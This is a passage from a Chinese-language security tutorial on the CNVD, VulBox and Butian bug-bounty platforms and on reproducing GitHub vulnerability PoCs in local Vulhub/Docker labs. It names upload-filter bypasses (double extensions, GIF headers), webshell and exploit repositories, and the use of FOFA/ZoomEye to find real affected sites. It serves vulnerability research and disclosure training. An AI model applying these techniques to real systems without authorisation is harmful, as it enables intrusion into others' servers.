编写核心 | 构造请求 + 判断结果 |
编写顺序 | 先复现 ➜ 观察请求 ➜ 写脚本 ➜ 自动化 |
实战建议 | 多复现 CVE + 写自己的 PoC 库 |
工具推荐 | requests、Pocsuite3、Burp、Fiddler |
八、CNVD
-
CNVD:China National Vulnerability Database
-
中文名称:国家信息安全风险点共享平台
-
官网地址:https://www.cnvd.org.cn
-
主管单位:中国国家互联网应急中心(CNCERT)
CNVD 是中国官方的风险点收集与通报平台,作用类似于国际的 CVE 系统,但更加本地化,更贴近中国厂商的软件和使用生态。
它具备以下功能:
功能 | 说明 |
---|---|
风险点收录 | 收集国内外各种软硬件系统的安全风险点信息 |
提交风险点 | 安全研究员和厂商可以提交未公开风险点 |
通报预警 | 对重要风险点进行分级通报、修复建议 |
风险点库查询 | 提供按关键词、组件、厂商、时间等搜索风险点的功能 |
提交积分奖励 | 提交风险点可获得“风险点积分”,用于排名与评优 |
8.1 CNVD 与 CVE 区别对比
比较项 | CNVD | CVE |
---|---|---|
覆盖范围 | 覆盖国内外,更注重国产系统 | 覆盖国际主流产品 |
编号规则 | CNVD-年份-序列号(如 CNVD-2022-10201) | CVE-年份-编号(如 CVE-2023-4567) |
提交方式 | 注册账号后可提交风险点 | 需通过 CNA 或 MITRE 提交 |
是否公开所有风险点 | 否,有些是未公开风险点 | 是,公开数据库 |
CNVD 编号结构
示例:CNVD-2022-10201
-
CNVD
:中国风险点库编号 -
2022
:年份 -
10201
:编号(每年单独编号)
有些风险点只有 CNVD 编号,没有 CVE,是国内独家披露的风险点。
8.2 如何使用 CNVD 做风险点研究?
1)查询风险点信息
打开官网首页 👉 https://www.cnvd.org.cn
使用 关键词、厂商、组件名、编号 等搜索:
-
关键词:ThinkPHP / WordPress / Redis
-
风险点编号:CNVD-2021-30102
-
厂商/组件:泛微 e-office、泛微OA、用友等
示例结果内容:
-
风险点名称
-
风险点等级(高危/中危)
-
影响范围
-
修复建议
-
公开时间
-
风险点描述
2)查找可复现风险点(含 POC)
部分 CNVD 风险点信息会附带分析文章和 POC 链接,你可以根据标题关键词去 GitHub 搜索该风险点 POC。
例如:
-
CNVD-2021-30102 泛微OA 任意文件上传
-
GitHub 搜索:
泛微 CNVD-2021-30102 POC
3)提交风险点
-
注册账号:https://www.cnvd.org.cn/member/login.htm
-
登录后台提交风险点信息
-
等待审核和编号分配
-
审核通过后会获得风险点积分
4)配合工具自动检测 CNVD 风险点
可以结合以下平台或工具,实现批量检测:
-
fofa + cnvd
组合(资产搜索 + 风险点检测) -
nuclei
的 CNVD POC 模板(.yaml 格式) -
洞鉴/鹰图/Pocsuite3
等集成平台检测 CNVD 风险点
8.3 常见场景应用
场景 | 说明 |
---|---|
Web 渗透前的信息收集 | 搜索目标使用的 CMS 是否有 CNVD 风险点 |
SRC 白帽子投稿 | 发现站点存在 CNVD 厂商风险点,可投稿 |
复现写博客 | 根据 CNVD 风险点编号构建复现环境、编写 POC |
POC 自动化平台 | 用 CNVD 标记风险点并写 yaml 模板 |
风险点报告写作 | 引用 CNVD 编号提升报告专业性 |
8.4 配合平台/工具
平台 | 用法 |
---|---|
CNVD 官网 | 查询风险点、提交风险点 |
Seebug | 查询 CNVD + POC |
GitHub | 搜索 POC(搜索“CNVD-xxxx”) |
FOFA、ZoomEye | 搜集可能受影响目标 |
Pocsuite3 | 编写 CNVD PoC 模块 |
Nuclei | 编写 yaml 模板进行批量检测 |
8.5 小结
关键词 | 内容 |
---|---|
平台性质 | 官方风险点共享平台(国家级) |
涵盖范围 | 国内外软硬件系统,偏重国产系统 |
编号格式 | CNVD-年-编号 |
核心价值 | 研究国内风险点、参与风险点提交 |
实战用法 | 复现、PoC 编写、检测、提交奖励 |
九、风险点盒子
-
名称:风险点盒子(VulBox)
-
网址:https://www.vulbox.com
-
运营方:知道创宇(国内安全公司)
-
性质:白帽子风险点众测平台 + 企业安全合作平台
风险点盒子是什么?
风险点盒子是一个连接:
-
白帽子(你)
-
企业(厂商)
-
平台(知道创宇)
三者之间的风险点收集、披露、奖励机制平台。
可以:
功能 | 描述 |
---|---|
提交风险点 | 对目标站点提交安全风险点(XSS、SQL注入、逻辑风险点等) |
获取积分 | 审核通过后获得安全积分 |
获得奖励 | 某些风险点可能得到现金或实物奖励 |
企业定向众测 | 平台分配目标给白帽子做深度测试 |
排名与认证 | 累积积分可进入榜单,增加影响力 |
9.1 注册与使用流程
注册流程
-
访问官网:https://www.vulbox.com
-
使用手机号或邮箱注册账号
-
完善个人信息和认证(建议上传真实能力信息,便于定向众测邀请)
提交风险点流程
-
登录后台 ➜ 点击“提交风险点”
-
填写目标站点、风险点描述、风险点类型、危害等级、复现步骤等
-
可上传截图、复现视频、PoC 链接等
-
提交后等待审核,审核成功会收到积分/奖励
风险点类型支持
类型 | 说明 |
---|---|
XSS 跨站脚本 | 常见于搜索、评论等页面 |
SQL 注入 | 登录页、参数注入 |
任意文件读取 | 可读取 config、passwd 等文件 |
命令执行 RCE | 高危风险点,可控制服务器 |
逻辑风险点 | 例如越权、任意密码重置 |
信息泄露 | 例如 Git 泄露、接口暴露 |
SSRF / CSRF / XXE | 较高级别风险点 |
9.2 风险点盒子优势
面向厂商 SRC
风险点盒子对接了很多大型平台,如:
-
联通、移动、华为
-
招商银行、支付宝
-
各类政企系统
-
中小厂商(企业众测)
平台负责将风险点分发、审核、通报给厂商,并推动修复和奖励发放。
支持公开 & 私密提交
-
公开提交:风险点审核通过后可展示在风险点广场
-
私密提交:只提交给厂商和平台,外部不可见
-
可匿名提交:避免打草惊蛇
众测任务邀请制
技术好、有提交记录后,会被平台邀请:
-
参与高价值站点的定向测试
-
按任务提交风险点,按风险点奖励现金/积分
9.3 白帽子常用技巧
如何发现风险点?
-
目标:厂商登录页、搜索、注册、上传等功能点
-
工具:BurpSuite、dirsearch、sqlmap、F12+调试
-
常用风险点类型:XSS、逻辑风险点、路径遍历、任意文件下载
如何提交让平台快速通过?
-
写明:
-
风险点入口地址
-
触发条件
-
复现步骤
-
危害描述
-
建议修复措施
-
-
附加截图、视频、PoC URL(更具可信度)
9.4 实战建议
适合做的实战项目:
-
在 GitHub 搜索 CMS 框架(如:dedecms、discuz)搭建测试环境
-
本地挖掘 XSS、SQL 注入、后台绕过风险点
-
写成 PoC(参考之前讲的 PoC 编写方法)
-
到风险点盒子找类似站点或厂商进行验证
-
提交风险点,积累积分与实战经验
9.5 小结
维度 | 内容 |
---|---|
性质 | 国内白帽众测平台,由知道创宇运营 |
使用目的 | 提交风险点、积累经验、获取奖励 |
优势 | 厂商多、众测活动频繁、奖励机制完善 |
提交技巧 | 精准复现、图文并茂、突出危害 |
实战建议 | 从低危 XSS、路径遍历、逻辑绕过开始练手 |
十、补天
项目 | 说明 |
---|---|
平台名称 | 补天风险点响应平台 |
官网地址 | https://www.butian.net |
创建时间 | 2013 年左右 |
运营方 | 360 公司(奇虎360) |
性质 | 国内权威风险点提交/响应/众测平台 |
用户群体 | 白帽子、安全研究员、安全厂商、政企单位 |
补天平台是什么?
补天平台是一个白帽子与厂商之间的“中间桥梁”,由奇虎360维护,用于接收白帽子提交的风险点并转发给相关厂商,促进风险点修复,并给予积分或奖励。
10.1 补天平台主要功能
模块 | 功能说明 |
---|---|
风险点提交 | 提交 XSS、SQL注入、RCE、未授权访问等风险点 |
厂商合作 | 对接了大量厂商(如政府网站、银行、互联网公司) |
赏金计划 | 部分厂商设置风险点赏金(¥现金奖励) |
众测任务 | 官方分配测试目标,按结果计分或计钱 |
积分体系 | 提交风险点获得“白帽积分” |
排名体系 | 有周榜、月榜、年榜,优秀者可获得认证 |
10.2 支持的风险点类型
类型 | 描述 |
---|---|
XSS 跨站脚本 | 输入框未过滤,执行恶意脚本 |
SQL 注入 | 数据库查询接口存在注入风险 |
任意文件上传 | 可上传木马控制服务器 |
任意文件读取 | 读取配置、数据库密码等敏感信息 |
命令执行 RCE | 远程执行系统命令 |
SSRF / XXE / CSRF | 服务端请求伪造、XML注入等 |
信息泄露 | 源码泄露、后台泄露、弱口令 |
10.3 挖洞 + 提交流程
-
使用 FOFA/ZoomEye 找目标(可选定厂商)
-
识别 CMS/系统(如 dedecms、phpcms、thinkphp)
-
使用 BurpSuite、手工 + 工具挖洞
-
编写复现文档(截图 + 步骤 + POC)
-
登录补天平台提交
-
审核通过 ➜ 积分奖励
10.4 练习路径
-
本地搭建风险点环境(如 ThinkPHP、dedecms)
-
复现已知风险点(CVE/CNVD)
-
编写风险点分析 + POC
-
FOFA/ZoomEye 扫描使用目标厂商
-
在补天提交真实可复现的低危风险点(如 XSS)
-
慢慢积累积分,提升排名
10.5 小结
内容 | 说明 |
---|---|
平台定位 | 国内老牌风险点响应平台 |
目标用户 | 白帽子、SRC从业者、安全爱好者 |
提交类型 | XSS、SQL注入、RCE、逻辑风险点等 |
奖励方式 | 积分、现金、证书、荣誉 |
推荐方式 | 搭配风险点盒子、GitHub POC 实战使用 |
十一、github-poc 资源复现
-
POC(Proof of Concept):风险点的概念验证代码,用来复现风险点。
-
GitHub 上聚集了世界各地安全研究员、红队、白帽子上传的 风险点 POC、EXP(利用代码) 和复现环境。
-
有大量关于 WordPress、ThinkPHP、dedecms、phpcms、Struts2、Weblogic、Spring 等的 POC。
11.1 GitHub 上 POC 搜索方法
关键词搜索技巧(举例):
ThinkPHP CVE poc
dedecms file upload poc
WordPress RCE github
"phpcms" in:description
CVE-2023 in:title
推荐结合使用的关键词:
风险点组件 | 常见关键词 |
---|---|
ThinkPHP | thinkphp poc, thinkphp rce |
WordPress | wordpress plugin vuln |
dedecms | dedecms upload, dedecms XSS |
phpcms | phpcms poc |
Discuz | discuz xss, discuz csrf |
CVE | CVE-2021-XXXX poc |
推荐仓库(通用集合类):
-
https://github.com/nomi-sec/PoC-in-GitHub
-
自动收集 GitHub 所有 CVE 利用代码
-
-
https://github.com/vulhub/vulhub
-
中文的最强风险点复现环境集合(含环境+POC)
-
-
https://github.com/projectdiscovery/nuclei-templates
-
Nuclei 的 POC 模板库(适合批量测试)
-
-
https://github.com/zhzyker/exphub
-
含企业级系统(Weblogic、Confluence 等)的 EXP
-
-
https://github.com/w181496/Webshell
-
提供配套风险点上传后的 Webshell(辅助测试)
-
11.2 POC 复现完整流程
以 GitHub 搜到的一个 dedecms 任意文件上传风险点 POC 为例:
步骤 1:搭建环境
使用 vulhub
、docker
、或自己搭建风险点 CMS 环境。
# 如果是 Vulhub 支持的风险点
git clone https://github.com/vulhub/vulhub
cd dedecms/xxx
docker-compose up -d
或自己去官网下 dedecms v5.7,配合 phpstudy 或宝塔本地部署。
步骤 2:获取 POC
在 GitHub 搜索:
dedecms upload poc
找到一个 POC 仓库,如:
https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1
下载或者复制其中的 POC 脚本,例如 poc.py
。
步骤 3:阅读 POC 原理
通常 POC 包含:
模块 | 内容 |
---|---|
请求地址 | 哪个接口存在风险点(如 /uploads/a.php ) |
请求方式 | POST/GET/文件上传 |
参数格式 | 参数名、文件字段名(如 file , upload[] ) |
响应判断 | 如何判断风险点是否成功(如返回 200 且链接可访问) |
需要掌握 HTTP 抓包知识,能用 BurpSuite 重现请求。
步骤 4:运行 POC
python3 poc.py http://127.0.0.1/dedecms/
-
查看控制台是否提示上传成功
-
查看返回的 Webshell 链接
-
使用浏览器/
curl
打开,确认是否 RCE 成功
步骤 5:分析风险点原理(进阶)
掌握风险点利用条件:
-
文件类型限制绕过?
-
后缀双写?(如
.php;.jpg
) -
文件内容绕过?(加 GIF 头?)
-
后台未鉴权上传接口?
-
文件是否可被访问?
11.3 从 GitHub 挖掘优质 POC 的技巧
方法 | 技巧 |
---|---|
看 Star 数 | 超过 100 星,一般质量不错 |
看更新时间 | 越新越说明适配当前系统 |
看 issue 区 | 有没有人复现成功 |
看 Readme | 有没有环境搭建说明和截图 |
搜索 CVE + PoC | 如:CVE-2023-37960 poc |
搜 Fofa/Zoomeye 结果验证 | 查是否有目标存在此风险点 |
11.4 辅助工具推荐
工具 | 作用 |
---|---|
BurpSuite | 抓包、重放 POC 请求 |
Docker | 快速搭建测试环境 |
FOFA | 搜索真实风险点目标 |
Nmap + Nuclei | 指纹识别 + 批量扫描 POC |
Python/requests | 编写自己的 poc 脚本 |
11.5 示例复现案例
系统 | 风险点名称 | GitHub 地址 |
---|---|---|
ThinkPHP 5 | RCE风险点 | https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce |
dedecms 5.7 | 任意文件上传 | https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1 |
WordPress | 插件文件上传风险点 | https://github.com/1N3/Wordpress-Exploit-Framework |
phpcms | 后台 getshell | https://github.com/Angus-x/phpcmsv9 |
11.6 小结
graph TD
A[GitHub 搜索风险点 PoC] --> B[分析风险点原理]
B --> C[搭建环境 Vulhub/Docker]
C --> D[运行 POC 脚本]
D --> E[复现成功]
E --> F[总结报告/投稿平台]